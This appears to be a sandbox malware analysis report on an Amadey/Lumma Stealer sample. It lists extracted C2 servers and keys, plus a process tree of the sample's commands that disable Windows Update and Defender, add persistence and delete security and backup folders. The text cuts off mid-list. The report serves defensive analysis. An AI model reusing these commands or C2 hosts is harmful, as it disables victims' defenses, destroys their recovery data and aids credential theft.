Overview

overview

10

Static

static

3

jaffacakes...e8.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    11/09/2026, 21:41

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    jaffacakes118_c8b41d3dc71b612486a8f260302d691fe3053228b5918e65a2be92573d8b30e8.exe
  • Size 4.0MB
  • Sample260911-1jsfbstbnc
  • SHA256 c8b41d3dc71b612486a8f260302d691fe3053228b5918e65a2be92573d8b30e8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
fbf543defense_evasiondiscoveryexecutionamadeylummapersistencestealertrojan

Malware Config

Extracted

Family

  • amadey

Version

  • 5.55

Botnet

  • fbf543

C2

  • http://94.154.35.25

Attributes
  • install_dir

    96a319e745

  • install_file

    Srxelqcif.exe

  • strings_key

    f8bfac017914b836f3106c5bcd0878fe

  • url_paths

    /di9ku38f/index.php

rc4.plain

Extracted

Family

  • lumma

C2

  • https://cursilibim.ru/zajd

  • https://mastwin.in/qsaz

  • https://tiltyufaz.ru/tlxa

  • https://runmgov.ru/tixd

  • https://semipervaz.ru/xued

  • https://capitalior.ru/akts

  • https://retrofik.ru/jgur

  • https://shagkeg.ru/xkzd

  • https://copulardi.ru/xhza

Attributes
  • build_id

    bd60bd20e6980944ddb8910407445576256d4987

Signatures

  • Family: Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detected Nirsoft tools 1 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • NirSoft NirCmd 1 IoCs

    NirCmd is a lightweight Windows command-line tool for automating system tasks

  • Sets service image path in registry 3 TTPs 2 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Executes dropped EXE 49 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 7 IoCs
  • Modifies file permissions 1 TTPs 9 IoCs
    discovery
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Windows directory 6 IoCs
  • Launches sc.exe 17 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 26 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Program crash 29 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 3 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious behavior: LoadsDriver 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\jaffacakes118_c8b41d3dc71b612486a8f260302d691fe3053228b5918e65a2be92573d8b30e8.exe
    "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_c8b41d3dc71b612486a8f260302d691fe3053228b5918e65a2be92573d8b30e8.exe"
    1⤵
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4500
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1U32L5.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1U32L5.exe
      2⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6096
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /setowner "SYSTEM"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5868
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\winloghelper.exe" /setowner "SYSTEM"
          4⤵
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2112
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3692
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
          4⤵
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          PID:5956
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /remove:d Everyone Administrators
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1224
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\winloghelper.exe" /remove:d Everyone Administrators
          4⤵
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          PID:5408
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /setowner "SYSTEM"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5168
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\systemhelper.exe" /setowner "SYSTEM"
          4⤵
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:376
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:896
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
          4⤵
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          PID:3128
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /remove:d Everyone Administrators
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4916
        • C:\Windows\SysWOW64\icacls.exe
          icacls "C:\Windows\systemhelper.exe" /remove:d Everyone Administrators
          4⤵
          • Modifies file permissions
          • System Location Discovery: System Language Discovery
          PID:5848
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1U32L5.exe" -StartupType Automatic"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3860
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1U32L5.exe" -StartupType Automatic"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5776
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c net start "DownloaderService"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:536
        • C:\Windows\SysWOW64\net.exe
          net start "DownloaderService"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2964
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 start "DownloaderService"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:5736
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1504
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
          4⤵
          • System Location Discovery: System Language Discovery
          • Scheduled Task/Job: Scheduled Task
          PID:5828
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c start "" "C:\Windows\winloghelper.exe"
        3⤵
        • Executes a command shell one-liner
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4528
        • C:\Windows\winloghelper.exe
          "C:\Windows\winloghelper.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3988
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c start "" "C:\Windows\systemhelper.exe"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5384
        • C:\Windows\systemhelper.exe
          "C:\Windows\systemhelper.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3388
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\uCumBU4.bat" "
            5⤵
            • Executes a command shell one-liner
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5140
            • C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
              nircmd win min process "cmd.exe"
              6⤵
              • Executes dropped EXE
              PID:3788
            • C:\Windows\SysWOW64\chcp.com
              chcp 65001
              6⤵
              • System Location Discovery: System Language Discovery
              PID:5244
            • C:\Windows\SysWOW64\reg.exe
              reg query "HKU\S-1-5-19"
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2644
            • C:\Windows\SysWOW64\reg.exe
              reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
              6⤵
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              PID:5288
            • C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
              NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\uCumBU4.bat" any_word
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1776
            • C:\Windows\SysWOW64\mode.com
              Mode 79,49
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3148
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ver
              6⤵
              • Executes a command shell one-liner
              PID:3152
            • C:\Windows\SysWOW64\reg.exe
              reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"
              6⤵
                PID:816
              • C:\Windows\SysWOW64\find.exe
                find /i "0x0"
                6⤵
                  PID:4164
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c tasklist
                  6⤵
                  • Executes a command shell one-liner
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:2132
                  • C:\Windows\SysWOW64\tasklist.exe
                    tasklist
                    7⤵
                    • Discovers running processes
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1748
                • C:\Windows\SysWOW64\reg.exe
                  reg query "HKLM\System\CurrentControlSet\Services\WinDefend"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:5740
                • C:\Windows\SysWOW64\reg.exe
                  reg query "HKLM\System\CurrentControlSet\Services\MDCoreSvc"
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:5324
                • C:\Windows\SysWOW64\reg.exe
                  reg query "HKLM\System\CurrentControlSet\Services\WdNisSvc"
                  6⤵
                    PID:3908
                  • C:\Windows\SysWOW64\reg.exe
                    reg query "HKLM\System\CurrentControlSet\Services\Sense"
                    6⤵
                    • System Location Discovery: System Language Discovery
                    PID:3452
                  • C:\Windows\SysWOW64\reg.exe
                    reg query "HKLM\System\CurrentControlSet\Services\wscsvc"
                    6⤵
                      PID:2096
                    • C:\Windows\SysWOW64\reg.exe
                      reg query "HKLM\System\CurrentControlSet\Services\SgrmBroker"
                      6⤵
                        PID:4608
                      • C:\Windows\SysWOW64\reg.exe
                        reg query "HKLM\System\CurrentControlSet\Services\SecurityHealthService"
                        6⤵
                          PID:2144
                        • C:\Windows\SysWOW64\reg.exe
                          reg query "HKLM\System\CurrentControlSet\Services\webthreatdefsvc"
                          6⤵
                            PID:5536
                          • C:\Windows\SysWOW64\reg.exe
                            reg query "HKLM\System\CurrentControlSet\Services\webthreatdefusersvc"
                            6⤵
                              PID:3192
                            • C:\Windows\SysWOW64\reg.exe
                              reg query "HKLM\System\CurrentControlSet\Services\WdNisDrv"
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:4764
                            • C:\Windows\SysWOW64\reg.exe
                              reg query "HKLM\System\CurrentControlSet\Services\WdBoot"
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:440
                            • C:\Windows\SysWOW64\reg.exe
                              reg query "HKLM\System\CurrentControlSet\Services\WdFilter"
                              6⤵
                              • System Location Discovery: System Language Discovery
                              PID:1780
                            • C:\Windows\SysWOW64\reg.exe
                              reg query "HKLM\System\CurrentControlSet\Services\SgrmAgent"
                              6⤵
                                PID:5716
                              • C:\Windows\SysWOW64\reg.exe
                                reg query "HKLM\System\CurrentControlSet\Services\MsSecWfp"
                                6⤵
                                • System Location Discovery: System Language Discovery
                                PID:4264
                              • C:\Windows\SysWOW64\reg.exe
                                reg query "HKLM\System\CurrentControlSet\Services\MsSecFlt"
                                6⤵
                                • System Location Discovery: System Language Discovery
                                PID:1556
                              • C:\Windows\SysWOW64\reg.exe
                                reg query "HKLM\System\CurrentControlSet\Services\MsSecCore"
                                6⤵
                                  PID:4668
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /S /D /c" ver "
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2056
                                • C:\Windows\SysWOW64\findstr.exe
                                  findstr /c:"6.1.7601"
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2420
                                • C:\Windows\SysWOW64\reg.exe
                                  reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName"
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:560
                                • C:\Windows\SysWOW64\find.exe
                                  find /i "Windows 7"
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4212
                                • C:\Windows\SysWOW64\reg.exe
                                  reg query HKLM\System\CurrentControlset\Services\WdFilter
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  • Modifies registry key
                                  PID:2844
                                • C:\Users\Admin\AppData\Local\Temp\hater\7z.exe
                                  7z x -aoa -bso0 -bsp1 "land.zip" -p"normas" "game.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:740
                                • C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                  game.exe /CurrentDiskSize
                                  6⤵
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  PID:4544
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                    7⤵
                                    • Executes a command shell one-liner
                                    PID:3264
                                    • C:\Windows\system32\sc.exe
                                      sc query IObitUnlocker
                                      8⤵
                                      • Launches sc.exe
                                      PID:6072
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4544"
                                    7⤵
                                    • Executes a command shell one-liner
                                    PID:4564
                                    • C:\Windows\system32\taskkill.exe
                                      taskkill /f /pid "4544"
                                      8⤵
                                      • Kills process with taskkill
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4572
                                • C:\Windows\SysWOW64\sc.exe
                                  sc stop wuauserv
                                  6⤵
                                  • Launches sc.exe
                                  PID:1796
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config wuauserv start= disabled
                                  6⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:4596
                                • C:\Windows\SysWOW64\sc.exe
                                  sc stop dosvc
                                  6⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:5044
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config dosvc start= disabled
                                  6⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:5904
                                • C:\Windows\SysWOW64\sc.exe
                                  sc stop bits
                                  6⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:4148
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config bits start= disabled
                                  6⤵
                                  • Launches sc.exe
                                  PID:4460
                                • C:\Windows\SysWOW64\sc.exe
                                  sc stop UsoSvc
                                  6⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:2860
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config UsoSvc start= disabled
                                  6⤵
                                  • Launches sc.exe
                                  PID:5612
                                • C:\Windows\SysWOW64\sc.exe
                                  sc stop WaaSMedicSvc
                                  6⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:5128
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config WaaSMedicSvc start= disabled
                                  6⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:1016
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1788
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1620
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4044
                                • C:\Windows\SysWOW64\reg.exe
                                  reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEM
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4884
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /f
                                  6⤵
                                    PID:3532
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /f
                                    6⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:3120
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
                                    6⤵
                                      PID:1128
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg unload HKLM\TEMP_SYSTEM
                                      6⤵
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1212
                                    • C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                      game /delwd
                                      6⤵
                                      • Sets service image path in registry
                                      • Checks computer location settings
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1216
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                        7⤵
                                        • Executes a command shell one-liner
                                        PID:1336
                                        • C:\Windows\system32\sc.exe
                                          sc query IObitUnlocker
                                          8⤵
                                          • Launches sc.exe
                                          PID:4592
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                        7⤵
                                        • Executes a command shell one-liner
                                        PID:2184
                                        • C:\Windows\system32\sc.exe
                                          sc stop IObitUnlocker
                                          8⤵
                                          • Launches sc.exe
                                          PID:3600
                                        • C:\Windows\system32\sc.exe
                                          sc delete IObitUnlocker
                                          8⤵
                                          • Launches sc.exe
                                          PID:5304
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1216"
                                        7⤵
                                        • Executes a command shell one-liner
                                        PID:2832
                                        • C:\Windows\system32\taskkill.exe
                                          taskkill /f /pid "1216"
                                          8⤵
                                          • Kills process with taskkill
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3300
                                    • C:\Users\Admin\AppData\Local\Temp\hater\game.exe
                                      game /DelWD
                                      6⤵
                                      • Sets service image path in registry
                                      • Checks computer location settings
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5728
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
                                        7⤵
                                        • Executes a command shell one-liner
                                        PID:880
                                        • C:\Windows\system32\sc.exe
                                          sc query IObitUnlocker
                                          8⤵
                                          • Launches sc.exe
                                          PID:5124
                                      • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program 